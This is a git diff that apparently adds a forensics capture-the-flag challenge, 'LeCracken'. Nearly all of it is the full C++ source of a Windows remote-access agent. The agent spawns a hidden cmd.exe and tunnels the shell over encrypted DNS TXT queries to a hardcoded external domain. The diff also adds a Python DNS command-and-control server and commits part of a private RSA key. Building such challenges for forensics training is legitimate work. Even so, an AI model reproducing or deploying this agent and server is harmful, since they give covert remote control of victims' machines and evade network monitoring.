diff --git a/AnalyseForensique/LeCracken/Flag/LeNautilus.jpg b/AnalyseForensique/LeCracken/Flag/LeNautilus.jpg new file mode 100644 index 0000000..7c6ffd7 Binary files /dev/null and b/AnalyseForensique/LeCracken/Flag/LeNautilus.jpg differ diff --git a/AnalyseForensique/LeCracken/Flag/LeNautilus.odg b/AnalyseForensique/LeCracken/Flag/LeNautilus.odg new file mode 100644 index 0000000..2f8031e Binary files /dev/null and b/AnalyseForensique/LeCracken/Flag/LeNautilus.odg differ diff --git a/AnalyseForensique/LeCracken/Flag/LeNautilus.pdf b/AnalyseForensique/LeCracken/Flag/LeNautilus.pdf new file mode 100644 index 0000000..8e87432 Binary files /dev/null and b/AnalyseForensique/LeCracken/Flag/LeNautilus.pdf differ diff --git a/AnalyseForensique/LeCracken/Malware/Agent/.gitignore b/AnalyseForensique/LeCracken/Malware/Agent/.gitignore new file mode 100644 index 0000000..6bfe4a3 --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/Agent/.gitignore @@ -0,0 +1,2 @@ +out +.vs \ No newline at end of file diff --git a/AnalyseForensique/LeCracken/Malware/Agent/CMakeLists.txt b/AnalyseForensique/LeCracken/Malware/Agent/CMakeLists.txt new file mode 100644 index 0000000..d84f09f --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/Agent/CMakeLists.txt @@ -0,0 +1,15 @@ +# CMakeList.txt : fichier projet CMake de niveau supérieur, effectuez une configuration globale +# et incluez les sous-projets ici. +# +cmake_minimum_required (VERSION 3.8) + +# Enable Hot Reload for MSVC compilers if supported. +if (POLICY CMP0141) + cmake_policy(SET CMP0141 NEW) + set(CMAKE_MSVC_DEBUG_INFORMATION_FORMAT "$,$>,$<$:EditAndContinue>,$<$:ProgramDatabase>>") +endif() + +project ("WinAgent") + +# Incluez les sous-projets. +add_subdirectory ("WinAgent") \ No newline at end of file diff --git a/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/C2.cpp b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/C2.cpp new file mode 100644 index 0000000..8c34f74 --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/C2.cpp @@ -0,0 +1,69 @@ +#include "C2.h" +#include "base64.h" +#include +#include +#include "utils.h" + +using std::cout; +using std::endl; +using std::to_string; + +C2::C2(const string baseDomain) { + + this->session_id = 0; + this->baseDomain = baseDomain; + vector emptyVector; + emptyVector.clear(); + vector data = this->query(emptyVector, false); + + unsigned long session_id_network = *((unsigned long*)&data[0]); + this->session_id = ntohl(session_id_network); + + vector byteSessionKey = this->crypto.getProtectedSessionKey(); + string sessionKey = base32_encode_nopad(&byteSessionKey[0], byteSessionKey.size()); + int stage = 0; + for (int index = 0; index < sessionKey.size(); index += 63) { + string response = this->request(sessionKey.substr(index, min(sessionKey.size() - index, 63)) + "." + to_string(stage++) + "." + to_string(this->session_id)); + if (response != "OK") exit(1); + } + +} + +string C2::request(const string subDomain) { + + string domain = subDomain + "." + this->baseDomain; + + // Make the request + PDNS_RECORD dnsResponse; + DNS_STATUS dnsStatus = DnsQuery_A( + domain.c_str(), + DNS_TYPE_TEXT, + DNS_QUERY_BYPASS_CACHE, + NULL, + &dnsResponse, + NULL); + if (dnsStatus) { + exit(1); + } + if (!dnsResponse || dnsResponse->Data.TXT.dwStringCount != 1) { + exit(1); + } + string responseText = dnsResponse->Data.TXT.pStringArray[0]; + DnsRecordListFree(dnsResponse); + + return responseText; +} + +vector C2::query(const vector data, bool encrypt) { + vector payload = data; + long long timestamp = getTimeMillisecondes(); + BYTE* x = (BYTE*)×tamp; + for (int i = 0; i < 8; i++) payload.insert(payload.begin(), *(x++)); + if (encrypt) payload = this->crypto.encrypt(payload); + string base32payload = base32_encode_nopad(&payload[0], payload.size()); + string domain = base32payload + "." + to_string(this->session_id); + string responseText = request(domain); + vector response = base64_decode(responseText); + if (encrypt) response = this->crypto.decrypt(response); + return response; +} \ No newline at end of file diff --git a/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/C2.h b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/C2.h new file mode 100644 index 0000000..fb9ea97 --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/C2.h @@ -0,0 +1,26 @@ +#ifndef C2_H +#define C2_H + +#include +#include +#include +#include "crypto.h" + +using std::string; +using std::vector; + +class C2 { + + string baseDomain; + unsigned long session_id; + CryptoSession crypto; + +public: + + C2(const string baseDomain); + vector query(const vector data, bool encrypt); + string request(const string subDomain); + +}; + +#endif // !C2_H diff --git a/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/CMakeLists.txt b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/CMakeLists.txt new file mode 100644 index 0000000..f3c834d --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/CMakeLists.txt @@ -0,0 +1,19 @@ +# CMakeList.txt : projet CMake pour WinAgent, incluez la source et définissez +# la logique spécifique au projet ici. +# + +# Ajoutez une source à l'exécutable de ce projet. + +add_link_options( + /SUBSYSTEM:WINDOWS + /DYNAMICBASE + /MACHINE:X64 +) + +add_executable (WinAgent "WinAgent.cpp" "WinAgent.h" "C2.cpp" "C2.h" "base64.cpp" "base64.h" "utils.cpp" "utils.h" "subprocess.cpp" "subprocess.h" "crypto.cpp" "crypto.h" agent.rc) +target_link_libraries(WinAgent dnsapi.lib Ws2_32.lib Bcrypt.lib Crypt32.lib) + +if (CMAKE_VERSION VERSION_GREATER 3.12) + set_property(TARGET WinAgent PROPERTY CXX_STANDARD 20) +endif() +# TODO: Ajoutez des tests et installez des cibles si nécessaire. diff --git a/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/WinAgent.cpp b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/WinAgent.cpp new file mode 100644 index 0000000..a3e31e8 --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/WinAgent.cpp @@ -0,0 +1,49 @@ +// MalwareAgent.cpp : définit le point d'entrée de l'application. +// + +#include "WinAgent.h" +#include "subprocess.h" +#include +#include "crypto.h" + +#define SEND_BUFFER_LENGTH 22 + +using namespace std; + +void runSubprocess(C2 c2, string command) { + Subprocess shell = Subprocess(command); + BYTE sendBuffer[SEND_BUFFER_LENGTH]; + string welcomeString = "New process PID " + to_string(shell.getProcessId()) + "\n"; + const char* welcome = welcomeString.c_str(); + vector response = c2.query(vector(welcome, welcome + strlen(welcome)), true); + bool poll = false; + while (true) { + bool sleep = true; + if (response.size()) { + shell.write(&response[0], response.size()); + Sleep(10); + sleep = false; + } + size_t read = 0; + read = shell.read(sendBuffer, SEND_BUFFER_LENGTH); + if (read > 0 || poll) { + response = c2.query(vector(sendBuffer, sendBuffer + read), true); + sleep = false; + poll = false; + } + + if (!shell.isAlive()) break; + if (sleep) { + Sleep(1000); + poll = true; + } + } + const char* bye = "Process has exited."; + c2.query(vector(bye, bye + strlen(bye)), true); +} + +int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int cmdShow) { + C2 c2 = C2("cxu5zdk80j3rtqqm1xk5nikxitq2ub.xyz"); + runSubprocess(c2, "cmd.exe"); + return 0; +} diff --git a/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/WinAgent.h b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/WinAgent.h new file mode 100644 index 0000000..26aabfe --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/WinAgent.h @@ -0,0 +1,8 @@ +// MalwareAgent.h : fichier Include pour les fichiers Include système standard, +// ou les fichiers Include spécifiques aux projets. + +#pragma once + +#include +#include +#include "C2.h" diff --git a/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/agent.rc b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/agent.rc new file mode 100644 index 0000000..b20115c --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/agent.rc @@ -0,0 +1 @@ +IDI_ICON1 ICON DISCARDABLE "icon.ico" \ No newline at end of file diff --git a/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/base64.cpp b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/base64.cpp new file mode 100644 index 0000000..b6f9341 --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/base64.cpp @@ -0,0 +1,142 @@ +#include "base64.h" +#include + +static const std::string base64_chars = +"ABCDEFGHIJKLMNOPQRSTUVWXYZ" +"abcdefghijklmnopqrstuvwxyz" +"0123456789+/"; + +static const std::string base32_chars = +"ABCDEFGHIJKLMNOPQRSTUVWXYZ" +"234567"; + + +static inline bool is_base64(BYTE c) { + return (isalnum(c) || (c == '+') || (c == '/')); +} + +std::string base64_encode(BYTE const* buf, unsigned int bufLen) { + std::string ret; + int i = 0; + int j = 0; + BYTE char_array_3[3]; + BYTE char_array_4[4]; + + while (bufLen--) { + char_array_3[i++] = *(buf++); + if (i == 3) { + char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; + char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); + char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); + char_array_4[3] = char_array_3[2] & 0x3f; + + for (i = 0; (i < 4); i++) + ret += base64_chars[char_array_4[i]]; + i = 0; + } + } + + if (i) + { + for (j = i; j < 3; j++) + char_array_3[j] = '\0'; + + char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; + char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); + char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); + char_array_4[3] = char_array_3[2] & 0x3f; + + for (j = 0; (j < i + 1); j++) + ret += base64_chars[char_array_4[j]]; + + while ((i++ < 3)) + ret += '='; + } + + return ret; +} + +std::vector base64_decode(std::string const& encoded_string) { + int in_len = encoded_string.size(); + int i = 0; + int j = 0; + int in_ = 0; + BYTE char_array_4[4], char_array_3[3]; + std::vector ret; + + while (in_len-- && (encoded_string[in_] != '=') && is_base64(encoded_string[in_])) { + char_array_4[i++] = encoded_string[in_]; in_++; + if (i == 4) { + for (i = 0; i < 4; i++) + char_array_4[i] = base64_chars.find(char_array_4[i]); + + char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); + char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); + char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; + + for (i = 0; (i < 3); i++) + ret.push_back(char_array_3[i]); + i = 0; + } + } + + if (i) { + for (j = i; j < 4; j++) + char_array_4[j] = 0; + + for (j = 0; j < 4; j++) + char_array_4[j] = base64_chars.find(char_array_4[j]); + + char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); + char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); + char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; + + for (j = 0; (j < i - 1); j++) ret.push_back(char_array_3[j]); + } + + return ret; +} + + +std::string base32_encode_nopad(BYTE const* buf, unsigned int bufLen) { + std::string ret; + int i = 0; + int j = 0; + BYTE char_array_5[5]; + BYTE char_array_8[8]; + + while (bufLen--) { + char_array_5[i++] = *(buf++); + if (i == 5) { + char_array_8[0] = (char_array_5[0] & 0xf8) >> 3; + char_array_8[1] = ((char_array_5[0] & 0x07) << 2) + ((char_array_5[1] & 0xc0) >> 6); + char_array_8[2] = (char_array_5[1] & 0x3e) >> 1; + char_array_8[3] = ((char_array_5[1] & 0x01) << 4) + ((char_array_5[2] & 0xf0) >> 4); + char_array_8[4] = ((char_array_5[2] & 0x0f) << 1) + ((char_array_5[3] & 0x80) >> 7); + char_array_8[5] = (char_array_5[3] & 0x7c) >> 2; + char_array_8[6] = ((char_array_5[3] & 0x03) << 3) + ((char_array_5[4] & 0xe0) >> 5); + char_array_8[7] = char_array_5[4] & 0x1f; + + for (i = 0; i < 8; i++) ret += base32_chars[char_array_8[i]]; + + i = 0; + } + } + + if (i) { + for (j = i; j < 5; j++) char_array_5[j] = 0; + + char_array_8[0] = (char_array_5[0] & 0xf8) >> 3; + char_array_8[1] = ((char_array_5[0] & 0x07) << 2) + ((char_array_5[1] & 0xc0) >> 6); + char_array_8[2] = (char_array_5[1] & 0x3e) >> 1; + char_array_8[3] = ((char_array_5[1] & 0x01) << 4) + ((char_array_5[2] & 0xf0) >> 4); + char_array_8[4] = ((char_array_5[2] & 0x0f) << 1) + ((char_array_5[3] & 0x80) >> 7); + char_array_8[5] = (char_array_5[3] & 0x7c) >> 2; + char_array_8[6] = ((char_array_5[3] & 0x03) << 3) + ((char_array_5[4] & 0xe0) >> 5); + char_array_8[7] = char_array_5[4] & 0x1f; + + for (j = 0; (j < i * 8 / 5 + 1); j++) ret += base32_chars[char_array_8[j]]; + } + + return ret; +} \ No newline at end of file diff --git a/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/base64.h b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/base64.h new file mode 100644 index 0000000..45dd28d --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/base64.h @@ -0,0 +1,13 @@ +#ifndef _BASE64_H_ +#define _BASE64_H_ + +#include +#include + +typedef unsigned char BYTE; + +std::string base64_encode(BYTE const* buf, unsigned int bufLen); +std::vector base64_decode(std::string const&); +std::string base32_encode_nopad(BYTE const* buf, unsigned int bufLen); + +#endif diff --git a/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/crypto.cpp b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/crypto.cpp new file mode 100644 index 0000000..4a3b171 --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/crypto.cpp @@ -0,0 +1,233 @@ +#include "crypto.h" +#include + +string KEY = "-----BEGIN PUBLIC KEY-----\r\n" +"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuZ8N/aBBtJTT0zUKnQ6J\r\n" +"aXu3Pp6UZe2CyzmnyUrqIu5uTECT1UAJ7VMBno2nLS6ZMSvwKDzrk2j1THq+PvRA\r\n" +"rD4ykq7hvGLkuTXrUAFzDiWu6rIC9qzCuH0dUFszFN1uYqYgmCCjo46qzFbjV2DN\r\n" +"XPYLMys4euuqFN7M56vgjAbVwr/xbRBxUNdLmwd1wR8rsJf4DcKrm45VkQKXx8lO\r\n" +"gCUs45+tRJUQWIvOnHtiJtDP4OaeJE1pQ99B/1Z1vz7onU9AbKG0d0+bW7OW+BgM\r\n" +"OdIBKYEU0U9FTU73ZFr0SmWR+a+ksqkBwm7l/zIwrKhhfiX1YGF2+3Vl7CvvtK6e\r\n" +"0wIDAQAB\r\n" +"-----END PUBLIC KEY-----"; + +void handleError(NTSTATUS status) +{ + switch (status) + { + case STATUS_SUCCESS: // success + // no-op + return; + case STATUS_NOT_SUPPORTED: + case STATUS_NOT_FOUND: + case STATUS_NO_MEMORY: + case STATUS_INVALID_PARAMETER: + case STATUS_BUFFER_TOO_SMALL: + case STATUS_INVALID_BUFFER_SIZE: + case STATUS_INVALID_HANDLE: + case STATUS_AUTH_TAG_MISMATCH: + default: + exit(1); + } +} + +CryptoSession::CryptoSession() { + int status; + status = BCryptOpenAlgorithmProvider( + &this->aesHandle, + BCRYPT_AES_ALGORITHM, + NULL, 0 + ); + handleError(status); + status = BCryptSetProperty( + this->aesHandle, + BCRYPT_CHAINING_MODE, + (PBYTE)BCRYPT_CHAIN_MODE_CBC, + sizeof(BCRYPT_CHAIN_MODE_CBC), + 0 + ); + handleError(status); + BYTE random[SESSION_KEY_SIZE]; + status = BCryptGenRandom( + BCRYPT_RNG_ALG_HANDLE, + random, SESSION_KEY_SIZE, + 0 + ); + handleError(status); + status = BCryptGenerateSymmetricKey( + this->aesHandle, + &this->sessionKeyHandle, + NULL, 0, + random, SESSION_KEY_SIZE, + 0 + ); + handleError(status); + ULONG exportedBlobSize; + status = BCryptExportKey( + this->sessionKeyHandle, + NULL, + BCRYPT_KEY_DATA_BLOB, + NULL, 0, + &exportedBlobSize, + 0 + ); + handleError(status); + BYTE* exportedKey = (BYTE*)LocalAlloc(0, exportedBlobSize); + BCRYPT_KEY_DATA_BLOB_HEADER* exportedHeader = (BCRYPT_KEY_DATA_BLOB_HEADER*)exportedKey; + status = BCryptExportKey( + this->sessionKeyHandle, + NULL, + BCRYPT_KEY_DATA_BLOB, + exportedKey, exportedBlobSize, + &exportedBlobSize, + 0 + ); + CopyMemory( + this->sessionKey, + exportedKey + sizeof(BCRYPT_KEY_DATA_BLOB_HEADER), + exportedHeader->cbKeyData + ); + LocalFree(exportedKey); +} + +CryptoSession::~CryptoSession() { + if (!BCryptDestroyKey( + this->sessionKeyHandle + )) exit(1); + if (!BCryptCloseAlgorithmProvider( + this->aesHandle, 0 + )) exit(1); +} + +vector CryptoSession::getProtectedSessionKey() { + BCRYPT_KEY_HANDLE keyHandle; + BCRYPT_ALG_HANDLE algorithm; + if (BCryptOpenAlgorithmProvider(&algorithm, BCRYPT_RSA_ALGORITHM, NULL, 0) != 0) { + exit(1); + } + + BYTE* decodedKey = NULL; + DWORD decodedKeySize = 0; + if (!CryptStringToBinaryA( + KEY.c_str(), 0, CRYPT_STRING_BASE64_ANY, + NULL, &decodedKeySize, + 0, 0 + )) exit(1); + decodedKey = (BYTE*)LocalAlloc(0, decodedKeySize); + if (!CryptStringToBinaryA( + KEY.c_str(), KEY.size(), CRYPT_STRING_BASE64HEADER, + decodedKey, &decodedKeySize, + 0, NULL + )) exit(1); + + PCERT_PUBLIC_KEY_INFO publicKeyInfo; + if (!CryptDecodeObjectEx( + X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, + X509_PUBLIC_KEY_INFO, decodedKey, decodedKeySize, + CRYPT_DECODE_ALLOC_FLAG | + CRYPT_DECODE_NOCOPY_FLAG | + CRYPT_DECODE_SHARE_OID_STRING_FLAG, 0, + &publicKeyInfo, &decodedKeySize + )) exit(1); + LocalFree(decodedKey); + BCRYPT_RSAKEY_BLOB* publicKeyBlob; + if (!CryptDecodeObjectEx( + X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, + CNG_RSA_PUBLIC_KEY_BLOB, + publicKeyInfo->PublicKey.pbData, + publicKeyInfo->PublicKey.cbData, + CRYPT_DECODE_ALLOC_FLAG, 0, + &publicKeyBlob, &decodedKeySize + )) exit(1); + + if (BCryptImportKeyPair( + algorithm, + NULL, + BCRYPT_RSAPUBLIC_BLOB, + &keyHandle, + (PUCHAR)publicKeyBlob, decodedKeySize, + 0) != 0 + ) exit(1); + LocalFree(publicKeyInfo); + + BYTE encrypted[256]; + ULONG outSize; + BCryptEncrypt( + keyHandle, + this->sessionKey, SESSION_KEY_SIZE, + NULL, + NULL, 0, + encrypted, 256, &outSize, + BCRYPT_PAD_PKCS1 + ); + + if (BCryptCloseAlgorithmProvider(algorithm, 0) != 0) { + exit(1); + } + + return vector(encrypted, encrypted + outSize); +} + +vector CryptoSession::encrypt(vector data) { + data.insert(data.begin(), (BYTE)data.size()); + BYTE iv[16]; + CopyMemory(iv, this->iv, sizeof(this->iv)); + int status; + ULONG encryptedSize; + status = BCryptEncrypt( + this->sessionKeyHandle, + &data[0], data.size(), // Input + NULL, // Padding + iv, sizeof(iv), // IV + NULL, NULL, // Output + &encryptedSize, + BCRYPT_BLOCK_PADDING + ); + handleError(status); + BYTE* encrypted = (BYTE*) LocalAlloc(0, encryptedSize); + status = BCryptEncrypt( + this->sessionKeyHandle, + &data[0], data.size(), // Input + NULL, // Padding + iv, sizeof(iv), // IV + encrypted, encryptedSize, // Output + &encryptedSize, + BCRYPT_BLOCK_PADDING + ); + handleError(status); + vector out = vector(encrypted, encrypted + encryptedSize); + LocalFree(encrypted); + return out; +} + +vector CryptoSession::decrypt(vector data) { + BYTE iv[16]; + CopyMemory(iv, this->iv, sizeof(this->iv)); + int status; + ULONG decryptedSize; + status = BCryptDecrypt( + this->sessionKeyHandle, + &data[0], data.size(), // Input + NULL, // Padding + iv, sizeof(iv), // IV + NULL, NULL, // Output + &decryptedSize, + 0 + ); + handleError(status); + BYTE* decrypted = (BYTE*)LocalAlloc(0, decryptedSize); + status = BCryptDecrypt( + this->sessionKeyHandle, + &data[0], data.size(), // Input + NULL, // Padding + iv, sizeof(iv), // IV + decrypted, decryptedSize, // Output + &decryptedSize, + 0 + ); + handleError(status); + decryptedSize = decrypted[0]; + vector out = vector(decrypted + 1, decrypted + decryptedSize + 1); + LocalFree(decrypted); + return out; +} \ No newline at end of file diff --git a/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/crypto.h b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/crypto.h new file mode 100644 index 0000000..6569abf --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/crypto.h @@ -0,0 +1,30 @@ +#pragma once + +#include +#include +#include +#include "base64.h" + +#include +#include + +using std::string; +using std::vector; + +#define SESSION_KEY_SIZE 32 + +typedef unsigned char BYTE; + + +class CryptoSession { + BCRYPT_ALG_HANDLE aesHandle; + BCRYPT_KEY_HANDLE sessionKeyHandle; + BYTE sessionKey[SESSION_KEY_SIZE]; + BYTE iv[16] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F }; +public: + CryptoSession(); + ~CryptoSession(); + vector getProtectedSessionKey(); + vector encrypt(vector data); + vector decrypt(vector data); +}; \ No newline at end of file diff --git a/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/icon.ico b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/icon.ico new file mode 100644 index 0000000..d9e17f3 Binary files /dev/null and b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/icon.ico differ diff --git a/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/subprocess.cpp b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/subprocess.cpp new file mode 100644 index 0000000..b781897 --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/subprocess.cpp @@ -0,0 +1,72 @@ +#include "subprocess.h" +#include + +Subprocess::Subprocess(string cmdline) { + + // Setup pipes + SECURITY_ATTRIBUTES pipeSecurityAttributes; + pipeSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); + pipeSecurityAttributes.bInheritHandle = TRUE; + pipeSecurityAttributes.lpSecurityDescriptor = NULL; + if (!CreatePipe(&this->stdinReadHandle, &this->stdinWriteHandle, &pipeSecurityAttributes, 0)) { + exit(1); + } + if (!SetHandleInformation(this->stdinWriteHandle, HANDLE_FLAG_INHERIT, 0)) { + exit(1); + } + if (!CreatePipe(&this->stdoutReadHandle, &this->stdoutWriteHandle, &pipeSecurityAttributes, 0)) { + exit(1); + } + if (!SetHandleInformation(this->stdoutReadHandle, HANDLE_FLAG_INHERIT, 0)) { + exit(1); + } + + // Start the child process + STARTUPINFO startupInfo; + ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); + startupInfo.cb = sizeof(STARTUPINFO); + startupInfo.hStdError = this->stdoutWriteHandle; + startupInfo.hStdOutput = this->stdoutWriteHandle; + startupInfo.hStdInput = this->stdinReadHandle; + startupInfo.dwFlags = STARTF_USESTDHANDLES; + ZeroMemory(&this->processInfo, sizeof(PROCESS_INFORMATION)); + CreateProcess( + NULL, // No application name, we are passing a command line + const_cast(cmdline.c_str()), + NULL, + NULL, + TRUE, // Inherit handles + CREATE_NO_WINDOW, + NULL, // Keep parent env + NULL, // Stay in parent working directory + &startupInfo, + &this->processInfo + ); +} + +size_t Subprocess::read(BYTE* buffer, size_t size) { + DWORD available; + if (!PeekNamedPipe(this->stdoutReadHandle, NULL, NULL, NULL, &available, NULL)) { + exit(1); + } + size = available < size ? available : size; + if (size <= 0) return 0; + DWORD read; + if (!ReadFile(this->stdoutReadHandle, buffer, size, &read, NULL)) { + exit(1); + } + return read; +} + +bool Subprocess::write(BYTE* buffer, size_t size) { + size_t written; + return !WriteFile(this->stdinWriteHandle, buffer, size, (LPDWORD)&written, NULL); +} + +bool Subprocess::isAlive() { + return WaitForSingleObject(this->processInfo.hProcess, 0) == WAIT_TIMEOUT; +} + +int Subprocess::getProcessId() { + return this->processInfo.dwProcessId; +} \ No newline at end of file diff --git a/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/subprocess.h b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/subprocess.h new file mode 100644 index 0000000..8477cd0 --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/subprocess.h @@ -0,0 +1,22 @@ +#ifndef subprocess +#define subprocess + +#include +#include + +using std::string; + +typedef unsigned char BYTE; + +class Subprocess { + HANDLE stdinReadHandle, stdinWriteHandle, stdoutReadHandle, stdoutWriteHandle; + PROCESS_INFORMATION processInfo; +public: + Subprocess(string cmdline); + bool isAlive(); + size_t read(BYTE* buffer, size_t size); + bool write(BYTE* buffer, size_t size); + int getProcessId(); +}; + +#endif // !subprocess diff --git a/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/utils.cpp b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/utils.cpp new file mode 100644 index 0000000..96fe48a --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/utils.cpp @@ -0,0 +1,9 @@ +#include "utils.h" +#include +#include + +using namespace std::chrono; + +long long getTimeMillisecondes() { + return duration_cast(system_clock::now().time_since_epoch()).count(); +} diff --git a/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/utils.h b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/utils.h new file mode 100644 index 0000000..337f1c0 --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/Agent/WinAgent/utils.h @@ -0,0 +1,6 @@ +#ifndef UTILS +#define UTILS + +long long getTimeMillisecondes(); + +#endif \ No newline at end of file diff --git a/AnalyseForensique/LeCracken/Malware/C2/.gitignore b/AnalyseForensique/LeCracken/Malware/C2/.gitignore new file mode 100644 index 0000000..f5e96db --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/C2/.gitignore @@ -0,0 +1 @@ +venv \ No newline at end of file diff --git a/AnalyseForensique/LeCracken/Malware/C2/main.py b/AnalyseForensique/LeCracken/Malware/C2/main.py new file mode 100644 index 0000000..fa4579a --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/C2/main.py @@ -0,0 +1,90 @@ +from nserver import NameServer, TXT +from base64 import b64encode, b64decode, b32decode +from struct import pack, unpack +from threading import Thread +from queue import Queue, Empty +from math import ceil +from sys import stdout +from Crypto.PublicKey import RSA +from Crypto.Cipher import PKCS1_v1_5, AES +import logging + + +ns = NameServer("example") +queue = Queue() + +DOMAIN = "cxu5zdk80j3rtqqm1xk5nikxitq2ub.xyz" + +with open("private.pem") as f: + PRIVATE_KEY = RSA.import_key(f.read()) +IV = bytes.fromhex('000102030405060708090A0B0C0D0E0F') +KEYS = {} +session_count = 5 + + +def b32decode_nopad(b32str): + pad_length = ceil(len(b32str) / 8) * 8 - len(b32str) + return b32decode(b32str + "=" * pad_length) + + +@ns.rule(f"*.0.{DOMAIN}", ["TXT"]) +def initial_handler(query): + b32payload, session, domain, rld = query.name.split(".") + payload = b32decode_nopad(b32payload) + global session_count + session_count += 1 + session_id = session_count + payload = pack('>I', session_id) + bytes.fromhex('DEADBEEF') + print(f"Initializing session {session_id}...") + KEYS[session_id] = [None, ] * 7 + return TXT(query.name, b64encode(payload).decode('ascii')) + + +@ns.rule(f"*.*.*.{DOMAIN}", ["TXT"]) +def key_handler(query): + key, stage, session, domain, rld = query.name.split(".") + stage = int(stage) + session = int(session) + KEYS[session][stage] = key + if stage == 6: + key = b32decode_nopad("".join(KEYS[session])) + cipher = PKCS1_v1_5.new(PRIVATE_KEY) + key = cipher.decrypt(key, b"0"*16) + KEYS[session] = key + print(f"Session {session} ready") + return TXT(query.name, "OK") + + +@ns.rule("*.*.cxu5zdk80j3rtqqm1xk5nikxitq2ub.xyz", ["TXT"]) +def handle(query): + b32payload, session, domain, rld = query.name.split(".") + payload = b32decode_nopad(b32payload) + session = int(session) + cipher = AES.new(KEYS[session], AES.MODE_CBC, iv=IV) + payload = cipher.decrypt(payload) + size = payload[0] + payload = payload[9: size + 1] + stdout.buffer.write(payload) + stdout.flush() + try: + data = queue.get(block=False) + except Empty: + data = b'' + data = pack('B', len(data)) + data + ((-len(data) - 1) % 16) * b'A' + cipher = AES.new(KEYS[session], AES.MODE_CBC, iv=IV) + data = cipher.encrypt(data) + return TXT(query.name, b64encode(data).decode('ascii')) + + +def main(): + while True: + data = input().encode("utf-8") + b'\n' + queue.put(data) + + +if __name__ == "__main__": + ns.settings.SERVER_PORT = 53000 + ns.settings.SERVER_ADDRESS = "0.0.0.0" + logging.disable(logging.INFO) + Thread(target=ns.run, daemon=True).start() + main() diff --git a/AnalyseForensique/LeCracken/Malware/C2/private.pem b/AnalyseForensique/LeCracken/Malware/C2/private.pem new file mode 100644 index 0000000..ad6d589 --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/C2/private.pem @@ -0,0 +1,28 @@ +-----BEGIN PRIVATE KEY----- +MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC5nw39oEG0lNPT +NQqdDolpe7c+npRl7YLLOafJSuoi7m5MQJPVQAntUwGejactLpkxK/AoPOuTaPVM 